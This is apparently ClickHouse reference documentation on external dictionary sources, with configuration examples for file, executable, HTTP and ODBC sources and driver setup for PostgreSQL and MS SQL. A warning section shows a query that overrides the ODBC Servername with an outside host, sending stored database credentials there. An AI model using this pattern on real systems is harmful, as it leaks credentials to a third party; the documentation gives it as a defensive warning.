# Sources of External Dictionaries {#dicts-external-dicts-dict-sources}
An external dictionary can be connected from many different sources.
If dictionary is configured using xml-file, the configuration looks like this:
``` xml
<yandex>
<dictionary>
...
<source>
<source_type>
<!-- Source configuration -->
</source_type>
</source>
...
</dictionary>
...
</yandex>
```
In case of [DDL-query](../../../sql-reference/statements/create/dictionary.md), equal configuration will looks like:
``` sql
CREATE DICTIONARY dict_name (...)
...
SOURCE(SOURCE_TYPE(param1 val1 ... paramN valN)) -- Source configuration
...
```
The source is configured in the `source` section.
For source types [Local file](#dicts-external_dicts_dict_sources-local_file), [Executable file](#dicts-external_dicts_dict_sources-executable), [HTTP(s)](#dicts-external_dicts_dict_sources-http), [ClickHouse](#dicts-external_dicts_dict_sources-clickhouse)
optional settings are available:
``` xml
<source>
<file>
<path>/opt/dictionaries/os.tsv</path>
<format>TabSeparated</format>
</file>
<settings>
<format_csv_allow_single_quotes>0</format_csv_allow_single_quotes>
</settings>
</source>
```
or
``` sql
SOURCE(FILE(path '/opt/dictionaries/os.tsv' format 'TabSeparated'))
SETTINGS(format_csv_allow_single_quotes = 0)
```
Types of sources (`source_type`):
- [Local file](#dicts-external_dicts_dict_sources-local_file)
- [Executable file](#dicts-external_dicts_dict_sources-executable)
- [HTTP(s)](#dicts-external_dicts_dict_sources-http)
- DBMS
- [ODBC](#dicts-external_dicts_dict_sources-odbc)
- [MySQL](#dicts-external_dicts_dict_sources-mysql)
- [PostgreSQL](#dicts-external_dicts_dict_sources-postgresql)
- [ClickHouse](#dicts-external_dicts_dict_sources-clickhouse)
- [MongoDB](#dicts-external_dicts_dict_sources-mongodb)
- [Redis](#dicts-external_dicts_dict_sources-redis)
- [Cassandra](#dicts-external_dicts_dict_sources-cassandra)
- [PostgreSQL](#dicts-external_dicts_dict_sources-postgresql)
## Local File {#dicts-external_dicts_dict_sources-local_file}
Example of settings:
``` xml
<source>
<file>
<path>/opt/dictionaries/os.tsv</path>
<format>TabSeparated</format>
</file>
</source>
```
or
``` sql
SOURCE(FILE(path '/opt/dictionaries/os.tsv' format 'TabSeparated'))
```
Setting fields:
- `path` The absolute path to the file.
- `format` The file format. All the formats described in “[Formats](../../../interfaces/formats.md#formats)” are supported.
When dictionary with source `FILE` is created via DDL command (`CREATE DICTIONARY ...`), the source file needs to be located in `user_files` directory, to prevent DB users accessing arbitrary file on ClickHouse node.
## Executable File {#dicts-external_dicts_dict_sources-executable}
Working with executable files depends on [how the dictionary is stored in memory](../../../sql-reference/dictionaries/external-dictionaries/external-dicts-dict-layout.md). If the dictionary is stored using `cache` and `complex_key_cache`, ClickHouse requests the necessary keys by sending a request to the executable files STDIN. Otherwise, ClickHouse starts executable file and treats its output as dictionary data.
Example of settings:
``` xml
<source>
<executable>
<command>cat /opt/dictionaries/os.tsv</command>
<format>TabSeparated</format>
</executable>
</source>
```
Setting fields:
- `command` The absolute path to the executable file, or the file name (if the program directory is written to `PATH`).
- `format` The file format. All the formats described in “[Formats](../../../interfaces/formats.md#formats)” are supported.
That dictionary source can be configured only via XML configuration. Creating dictionaries with executable source via DDL is disabled, otherwise, the DB user would be able to execute arbitrary binary on ClickHouse node.
## Http(s) {#dicts-external_dicts_dict_sources-http}
Working with an HTTP(s) server depends on [how the dictionary is stored in memory](../../../sql-reference/dictionaries/external-dictionaries/external-dicts-dict-layout.md). If the dictionary is stored using `cache` and `complex_key_cache`, ClickHouse requests the necessary keys by sending a request via the `POST` method.
Example of settings:
``` xml
<source>
<http>
<url>http://[::1]/os.tsv</url>
<format>TabSeparated</format>
<credentials>
<user>user</user>
<password>password</password>
</credentials>
<headers>
<header>
<name>API-KEY</name>
<value>key</value>
</header>
</headers>
</http>
</source>
```
or
``` sql
SOURCE(HTTP(
url 'http://[::1]/os.tsv'
format 'TabSeparated'
credentials(user 'user' password 'password')
headers(header(name 'API-KEY' value 'key'))
))
```
In order for ClickHouse to access an HTTPS resource, you must [configure openSSL](../../../operations/server-configuration-parameters/settings.md#server_configuration_parameters-openssl) in the server configuration.
Setting fields:
- `url` The source URL.
- `format` The file format. All the formats described in “[Formats](../../../interfaces/formats.md#formats)” are supported.
- `credentials` Basic HTTP authentication. Optional parameter.
- `user` Username required for the authentication.
- `password` Password required for the authentication.
- `headers` All custom HTTP headers entries used for the HTTP request. Optional parameter.
- `header` Single HTTP header entry.
- `name` Identifiant name used for the header send on the request.
- `value` Value set for a specific identifiant name.
When creating a dictionary using the DDL command (`CREATE DICTIONARY ...`) remote hosts for HTTP dictionaries are checked against the contents of `remote_url_allow_hosts` section from config to prevent database users to access arbitrary HTTP server.
## ODBC {#dicts-external_dicts_dict_sources-odbc}
You can use this method to connect any database that has an ODBC driver.
Example of settings:
``` xml
<source>
<odbc>
<db>DatabaseName</db>
<table>ShemaName.TableName</table>
<connection_string>DSN=some_parameters</connection_string>
<invalidate_query>SQL_QUERY</invalidate_query>
</odbc>
</source>
```
or
``` sql
SOURCE(ODBC(
db 'DatabaseName'
table 'SchemaName.TableName'
connection_string 'DSN=some_parameters'
invalidate_query 'SQL_QUERY'
))
```
Setting fields:
- `db` Name of the database. Omit it if the database name is set in the `<connection_string>` parameters.
- `table` Name of the table and schema if exists.
- `connection_string` Connection string.
- `invalidate_query` Query for checking the dictionary status. Optional parameter. Read more in the section [Updating dictionaries](../../../sql-reference/dictionaries/external-dictionaries/external-dicts-dict-lifetime.md).
ClickHouse receives quoting symbols from ODBC-driver and quote all settings in queries to driver, so its necessary to set table name accordingly to table name case in database.
If you have a problems with encodings when using Oracle, see the corresponding [F.A.Q.](../../../faq/integration/oracle-odbc.md) item.
### Known Vulnerability of the ODBC Dictionary Functionality {#known-vulnerability-of-the-odbc-dictionary-functionality}
!!! attention "Attention"
When connecting to the database through the ODBC driver connection parameter `Servername` can be substituted. In this case values of `USERNAME` and `PASSWORD` from `odbc.ini` are sent to the remote server and can be compromised.
**Example of insecure use**
Lets configure unixODBC for PostgreSQL. Content of `/etc/odbc.ini`:
``` text
[gregtest]
Driver = /usr/lib/psqlodbca.so
Servername = localhost
PORT = 5432
DATABASE = test_db
#OPTION = 3
USERNAME = test
PASSWORD = test
```
If you then make a query such as
``` sql
SELECT * FROM odbc('DSN=gregtest;Servername=some-server.com', 'test_db');
```
ODBC driver will send values of `USERNAME` and `PASSWORD` from `odbc.ini` to `some-server.com`.
### Example of Connecting Postgresql {#example-of-connecting-postgresql}
Ubuntu OS.
Installing unixODBC and the ODBC driver for PostgreSQL:
``` bash
$ sudo apt-get install -y unixodbc odbcinst odbc-postgresql
```
Configuring `/etc/odbc.ini` (or `~/.odbc.ini` if you signed in under a user that runs ClickHouse):
``` text
[DEFAULT]
Driver = myconnection
[myconnection]
Description = PostgreSQL connection to my_db
Driver = PostgreSQL Unicode
Database = my_db
Servername = 127.0.0.1
UserName = username
Password = password
Port = 5432
Protocol = 9.3
ReadOnly = No
RowVersioning = No
ShowSystemTables = No
ConnSettings =
```
The dictionary configuration in ClickHouse:
``` xml
<yandex>
<dictionary>
<name>table_name</name>
<source>
<odbc>
<!-- You can specify the following parameters in connection_string: -->
<!-- DSN=myconnection;UID=username;PWD=password;HOST=127.0.0.1;PORT=5432;DATABASE=my_db -->
<connection_string>DSN=myconnection</connection_string>
<table>postgresql_table</table>
</odbc>
</source>
<lifetime>
<min>300</min>
<max>360</max>
</lifetime>
<layout>
<hashed/>
</layout>
<structure>
<id>
<name>id</name>
</id>
<attribute>
<name>some_column</name>
<type>UInt64</type>
<null_value>0</null_value>
</attribute>
</structure>
</dictionary>
</yandex>
```
or
``` sql
CREATE DICTIONARY table_name (
id UInt64,
some_column UInt64 DEFAULT 0
)
PRIMARY KEY id
SOURCE(ODBC(connection_string 'DSN=myconnection' table 'postgresql_table'))
LAYOUT(HASHED())
LIFETIME(MIN 300 MAX 360)
```
You may need to edit `odbc.ini` to specify the full path to the library with the driver `DRIVER=/usr/local/lib/psqlodbcw.so`.
### Example of Connecting MS SQL Server {#example-of-connecting-ms-sql-server}
Ubuntu OS.
Installing the ODBC driver for connecting to MS SQL:
``` bash
$ sudo apt-get install tdsodbc freetds-bin sqsh
```
Configuring the driver:
```bash
$ cat /etc/freetds/freetds.conf
...
[MSSQL]
host = 192.168.56.101
port = 1433
tds version = 7.0
client charset = UTF-8
# test TDS connection
$ sqsh -S MSSQL -D database -U user -P password
$ cat /etc/odbcinst.ini
[FreeTDS]
Description = FreeTDS
Driver = /usr/lib/x86_64-linux-gnu/odbc/libtdsodbc.so
Setup = /usr/lib/x86_64-linux-gnu/odbc/libtdsS.so
FileUsage = 1
UsageCount = 5
$ cat /etc/odbc.ini
# $ cat ~/.odbc.ini # if you signed in under a user that runs ClickHouse
[MSSQL]
Description = FreeTDS
Driver = FreeTDS
Servername = MSSQL
Database = test
UID = test
PWD = test
Port = 1433
# (optional) test ODBC connection (to use isql-tool install the [unixodbc](https://packages.debian.org/sid/unixodbc)-package)
$ isql -v MSSQL "user" "password"
```
Remarks:
- to determine the earliest TDS version that is supported by a particular SQL Server version, refer to the product documentation or look at [MS-TDS Product Behavior](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/135d0ebe-5c4c-4a94-99bf-1811eccb9f4a)
